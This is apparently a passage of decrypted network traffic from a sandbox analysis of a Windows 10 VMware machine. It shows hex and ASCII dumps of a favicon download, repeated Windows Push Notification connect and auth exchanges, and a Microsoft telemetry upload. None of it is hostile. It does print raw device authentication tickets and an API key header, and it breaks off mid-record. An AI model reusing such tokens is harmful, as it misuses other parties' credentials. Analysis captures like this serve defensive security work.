2024-10-03 01:29:15 UTC	704	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="static-on-bigtable" Report-To: {"group":"static-on-bigtable","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/static-on-bigtable"}]} Content-Length: 5430 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Thu, 03 Oct 2024 01:14:14 GMT Expires: Fri, 11 Oct 2024 01:14:14 GMT Cache-Control: public, max-age=691200 Last-Modified: Tue, 22 Oct 2019 18:30:00 GMT Content-Type: image/x-icon Vary: Accept-Encoding Age: 901 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-03 01:29:15 UTC	686	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 30 fd fd fd 96 fd fd fd d8 fd fd fd f9 fd fd fd f9 fd fd fd d7 fd fd fd 94 fe fe fe 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 95 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 09 fd fd fd c1 ff ff ff ff fa fd f9 ff b4 d9 a7 ff 76 ba 5d ff 58 ab 3a ff 58 aa 3a ff 72 b8 59 ff ac d5 9d ff f8 fb f6 ff ff Data Ascii: h& ( 0.v]X:X:rY
2024-10-03 01:29:15 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d8 fd fd fd 99 ff ff ff ff 92 cf fb ff 37 52 ec ff 38 46 ea ff d0 d4 fa ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 96 fe fe fe 32 ff ff ff ff f9 f9 fe ff 56 62 ed ff 35 43 ea ff 3b 49 eb ff 95 9c f4 ff cf d2 fa ff d1 d4 fa ff 96 9d f4 ff 52 5e ed ff e1 e3 fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 30 00 00 00 00 fd fd fd 9d ff ff ff ff e8 ea fd ff 58 63 ee ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 35 43 ea ff 6c 76 f0 ff ff ff ff ff ff ff ff ff fd fd fd 98 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd c3 ff ff ff ff f9 f9 fe ff a5 ac f6 ff 5d 69 ee ff 3c 4a eb Data Ascii: 7R8F2Vb5C;IR^0Xc5C5C5C5C5C5Clv]i<J
2024-10-03 01:29:15 UTC	1390	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff fd fd fd d0 ff ff ff 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fd fd fd 8b ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff b1 d8 a3 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 60 a5 35 ff ca 8e 3e ff f9 c1 9f ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd 87 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 25 fd fd fd fb ff ff ff ff ff ff ff ff ff ff ff ff c2 e0 b7 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 53 a8 34 ff 6e b6 54 ff 9f ce 8d ff b7 da aa ff b8 db ab ff a5 d2 95 ff 7b bc 64 ff 54 a8 35 ff 53 a8 34 ff 77 a0 37 ff e3 89 41 ff f4 85 42 ff f4 85 42 ff fc Data Ascii: S4S4S4S4S4S4S4S4S4S4S4S4S4S4`5>%S4S4S4S4S4S4nT{dT5S4w7ABB
2024-10-03 01:29:15 UTC	1390	IN	Data Raw: f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff f4 85 42 ff fb d5 bf ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd ea fd fd fd cb ff ff ff ff ff ff ff ff ff ff ff ff 46 cd fc ff 05 bc fb ff 05 bc fb ff 05 bc fb ff 21 ae f9 ff fb fb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd c8 fd fd fd 9c ff ff ff ff ff ff ff ff ff ff ff ff 86 df fd ff 05 bc fb ff 05 bc fb ff 15 93 f5 ff 34 49 eb ff b3 b8 f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: BBBBBBF!4I
2024-10-03 01:29:15 UTC	574	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd d2 fe fe fe 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 0a fd fd fd 8d fd fd fd fc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fd fd fd fb fd fd fd 8b fe fe fe 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe fe fe 27 fd fd fd 9f fd fd fd f7 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: $'

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49865	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:29:23 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 36 5a 47 43 63 4b 41 61 79 45 53 70 71 35 6b 38 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 32 39 30 62 64 37 30 39 38 31 32 64 61 63 30 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 6ZGCcKAayESpq5k8.1Context: a290bd709812dac0
2024-10-03 01:29:23 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-03 01:29:23 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 36 5a 47 43 63 4b 41 61 79 45 53 70 71 35 6b 38 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 32 39 30 62 64 37 30 39 38 31 32 64 61 63 30 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 44 4b 55 46 72 48 31 30 4f 74 61 68 59 51 46 33 47 53 44 32 32 68 4d 5a 2b 59 78 4c 75 77 76 6b 51 32 52 44 4f 6a 46 6d 78 65 71 32 6b 70 69 36 53 79 54 52 6b 31 76 62 47 70 51 61 51 43 39 48 49 32 6e 37 6a 35 74 4c 59 6a 69 7a 6c 4b 37 48 75 70 79 6a 44 51 78 4b 32 44 6b 45 30 6b 44 74 41 58 79 39 56 52 72 36 4b 76 4e 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 6ZGCcKAayESpq5k8.2Context: a290bd709812dac0<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATDKUFrH10OtahYQF3GSD22hMZ+YxLuwvkQ2RDOjFmxeq2kpi6SyTRk1vbGpQaQC9HI2n7j5tLYjizlK7HupyjDQxK2DkE0kDtAXy9VRr6KvN5
2024-10-03 01:29:23 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 36 5a 47 43 63 4b 41 61 79 45 53 70 71 35 6b 38 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 32 39 30 62 64 37 30 39 38 31 32 64 61 63 30 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 6ZGCcKAayESpq5k8.3Context: a290bd709812dac0<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-03 01:29:23 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-03 01:29:23 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 72 59 55 35 79 36 4f 41 71 55 4f 51 75 53 67 48 49 59 36 4d 76 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: rYU5y6OAqUOQuSgHIY6Mvg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49892	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:30:22 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 45 38 4a 45 39 31 33 79 31 45 69 44 68 41 37 34 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 39 62 38 61 66 38 66 34 30 66 30 63 31 30 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: E8JE913y1EiDhA74.1Context: 89b8af8f40f0c103
2024-10-03 01:30:22 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-03 01:30:22 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 45 38 4a 45 39 31 33 79 31 45 69 44 68 41 37 34 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 39 62 38 61 66 38 66 34 30 66 30 63 31 30 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 44 4b 55 46 72 48 31 30 4f 74 61 68 59 51 46 33 47 53 44 32 32 68 4d 5a 2b 59 78 4c 75 77 76 6b 51 32 52 44 4f 6a 46 6d 78 65 71 32 6b 70 69 36 53 79 54 52 6b 31 76 62 47 70 51 61 51 43 39 48 49 32 6e 37 6a 35 74 4c 59 6a 69 7a 6c 4b 37 48 75 70 79 6a 44 51 78 4b 32 44 6b 45 30 6b 44 74 41 58 79 39 56 52 72 36 4b 76 4e 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: E8JE913y1EiDhA74.2Context: 89b8af8f40f0c103<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATDKUFrH10OtahYQF3GSD22hMZ+YxLuwvkQ2RDOjFmxeq2kpi6SyTRk1vbGpQaQC9HI2n7j5tLYjizlK7HupyjDQxK2DkE0kDtAXy9VRr6KvN5
2024-10-03 01:30:22 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 45 38 4a 45 39 31 33 79 31 45 69 44 68 41 37 34 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 38 39 62 38 61 66 38 66 34 30 66 30 63 31 30 33 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: E8JE913y1EiDhA74.3Context: 89b8af8f40f0c103
2024-10-03 01:30:22 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-03 01:30:22 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 34 6a 4a 76 61 76 41 56 39 30 47 7a 48 7a 74 5a 46 42 55 63 59 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 4jJvavAV90GzHztZFBUcYg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49916	20.189.173.12	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:31:16 UTC	828	OUT	POST /OneCollector/1.0/ HTTP/1.1 Accept: / APIKey: cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521 AuthMsaDeviceTicket: t=GwAWAbuEBAAU2qcZHJoKGNizGOeyqM4OaIoSZ0MOZgAAENhIsZk1icdmK4NNtUk6KLPgAMvy17Udgd1MlHE7GXRAxu9wDd84HaOk1nGIMKru6radFnZDfu7zWhcmz9j72MdI/lM5JykN5JyMCsrKKjhnWsxMrSmUTHFAm4lCtsR/4kXJ5OVGBubVm1qKlLaqfTPe4/QIS6EsPZhp2A+GbXPmd9v7KWe0y9ZBVkGnVgT2XAL69MHD65Z2sZ/bvdyK2Z9GRgl5dhajOwb9unLzQz2LihgZzhVMiIEIlP0Ox0qtNEB072yB6rGFSpbQMfXp3Qm9wrLMHPG0cNIMKQ3+lgA3sY/VTGnPGJVnsHSsfW8D9dyBIAE=&p= Client-Id: NO_AUTH Content-Encoding: deflate Content-Type: application/bond-compact-binary Expect: 100-continue SDK-Version: EVT-Windows-C++-No-3.4.15.1 Upload-Time: 1727919074830 Host: self.events.data.microsoft.com Content-Length: 7972 Connection: Keep-Alive Cache-Control: no-cache
2024-10-03 01:31:16 UTC	7972	OUT	Data Raw: ed 7c 5b ac 5c d7 79 de e8 12 96 a2 28 8a 96 64 59 92 15 8b 11 64 d7 8a 67 4e d7 fd 32 68 10 53 3c 94 45 57 34 15 1e 4a b2 03 04 ec 9e 99 7d 66 36 39 33 fb 68 2e bc 08 79 10 8c 22 40 0a a4 2d 03 14 28 fa 64 f4 21 b0 80 b6 e8 43 fb 90 a0 0f 7e 28 d0 38 ec 4b 93 c7 b4 40 5b a0 2f 7d 4a 8b 5e 1e da 87 7e ff da b7 35 8b 47 b4 63 18 42 0c f0 80 e4 e1 bf d6 da eb fa ff df ff fd 6b ad bd df 7c 42 ee b1 4b ea ca e1 61 31 ce af 1f dc 5d 6f f2 45 fd eb 9d 3c 9b 6f 66 97 f3 4d 36 c9 36 d9 7e 7e 0b 25 2e 94 cb 75 39 2f 90 90 4f 3e fa d7 3f fa fb ff e7 fe 9f fe f7 ff f0 85 4f 5f 2f 87 e3 89 93 c6 08 63 38 1f ab 71 96 65 ee 70 ac 47 22 b7 c2 e5 b9 e3 93 7f 7f e2 fb 4f de ff e2 a9 c7 8a d3 1f 5c be 9d ad f2 fe b9 4b cb f1 de ef 9e aa 24 c1 fa bc 77 ff c5 53 8f f5 ee 7f Data Ascii: \|[\y(dYdgN2hS<EW4J}f693h.y"@-(d!C~(8K@[/}J^~5GcBk\|BKa1]oE<ofM66~~%.u9/O>?O_/c8qepG"O\K$wS
2024-10-03 01:31:16 UTC	25	IN	HTTP/1.1 100 Continue
2024-10-03 01:31:16 UTC	443	IN	HTTP/1.1 200 OK Content-Length: 9 Content-Type: application/json Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 time-delta-millis: 2015 Access-Control-Allow-Headers: time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Access-Control-Expose-Headers: time-delta-millis Date: Thu, 03 Oct 2024 01:31:16 GMT Connection: close {"acc":4}

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.5	49921	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:31:25 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 70 44 71 31 34 36 6e 37 70 30 61 47 66 6d 46 34 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 37 62 66 31 65 38 63 39 62 33 38 64 63 63 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: pDq146n7p0aGfmF4.1Context: f7bf1e8c9b38dcc9
2024-10-03 01:31:25 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-03 01:31:25 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 70 44 71 31 34 36 6e 37 70 30 61 47 66 6d 46 34 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 37 62 66 31 65 38 63 39 62 33 38 64 63 63 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 44 4b 55 46 72 48 31 30 4f 74 61 68 59 51 46 33 47 53 44 32 32 68 4d 5a 2b 59 78 4c 75 77 76 6b 51 32 52 44 4f 6a 46 6d 78 65 71 32 6b 70 69 36 53 79 54 52 6b 31 76 62 47 70 51 61 51 43 39 48 49 32 6e 37 6a 35 74 4c 59 6a 69 7a 6c 4b 37 48 75 70 79 6a 44 51 78 4b 32 44 6b 45 30 6b 44 74 41 58 79 39 56 52 72 36 4b 76 4e 35 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: pDq146n7p0aGfmF4.2Context: f7bf1e8c9b38dcc9<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAATDKUFrH10OtahYQF3GSD22hMZ+YxLuwvkQ2RDOjFmxeq2kpi6SyTRk1vbGpQaQC9HI2n7j5tLYjizlK7HupyjDQxK2DkE0kDtAXy9VRr6KvN5
2024-10-03 01:31:25 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 70 44 71 31 34 36 6e 37 70 30 61 47 66 6d 46 34 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 66 37 62 66 31 65 38 63 39 62 33 38 64 63 63 39 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: pDq146n7p0aGfmF4.3Context: f7bf1e8c9b38dcc9<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-10-03 01:31:25 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-10-03 01:31:25 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 32 58 6d 78 46 69 75 56 78 55 65 34 65 4a 68 79 63 4c 75 57 63 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 2XmxFiuVxUe4eJhycLuWcQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	64670	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-10-03 01:32:35 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 45 48 31 39 4c 54 6c 6b 58 30 36 4d 73 65 62 2b 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 62 64 65 61 62 39 61 63 31 65 36 62 61 64 39 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: EH19LTlkX06Mseb+.1Context: bbdeab9ac1e6bad9
2024-10-03 01:32:35 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-10-03 01:32:35 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 45 48 31 39 4c 54 6c 6b 58 30 36 4d 73 65 62 2b 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 62 62 64 65 61 62 39 61 63 31 65 36 62 61 64 39 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 54 44 4b 55 46 72 48 31 30 4f 74 61 68 59 51 46 33 47 53 44 32 32 68 4d 5a 2b 59 78 4c 75 77 76 6b 51 32 52 44 4f 6a 46 6d 78 65 71 32 6b 70 69 36 53 79 54 52 6b 31 76 62 47 70 51 61 51 43 39 48 49 32 6e 37 6a 35 74 4c 59 6a 69 7a 6c 4b 37 48 75 70 79 6a 44 51 78 4b 